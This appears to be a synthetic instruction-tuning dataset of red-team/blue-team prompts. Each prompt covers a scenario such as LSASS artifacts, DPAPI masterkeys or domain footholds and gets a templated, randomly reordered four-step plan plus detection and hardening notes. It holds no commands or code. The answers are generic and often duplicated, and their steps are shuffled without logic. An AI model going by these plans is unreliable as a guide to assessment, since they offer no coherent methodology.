{"instruction": "Access to a multi-share file server: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Domain-joined VM with read access to DC info", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to a multi-share file server: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to a multi-share file server", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 3: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Ability to perform internal DNS queries: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Ability to perform internal DNS queries", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.\n\nStep 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Read-only view into asset inventory/CMDB", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nStep 4: Prioritize targets that are likely to yield credentials or privileged access.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network foothold with standard user rights: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network foothold with standard user rights", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Prioritize targets that are likely to yield credentials or privileged access.\n\nStep 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.\n\nStep 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.\n\nDefender detection notes:\n\n  - Increased LDAP or DNS query patterns from an atypical host.\n\n  - Access to internal inventory systems from non-standard accounts.\n\nMitigations & hardening:\n\n  - Restrict directory query capabilities and monitor access to inventory systems.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
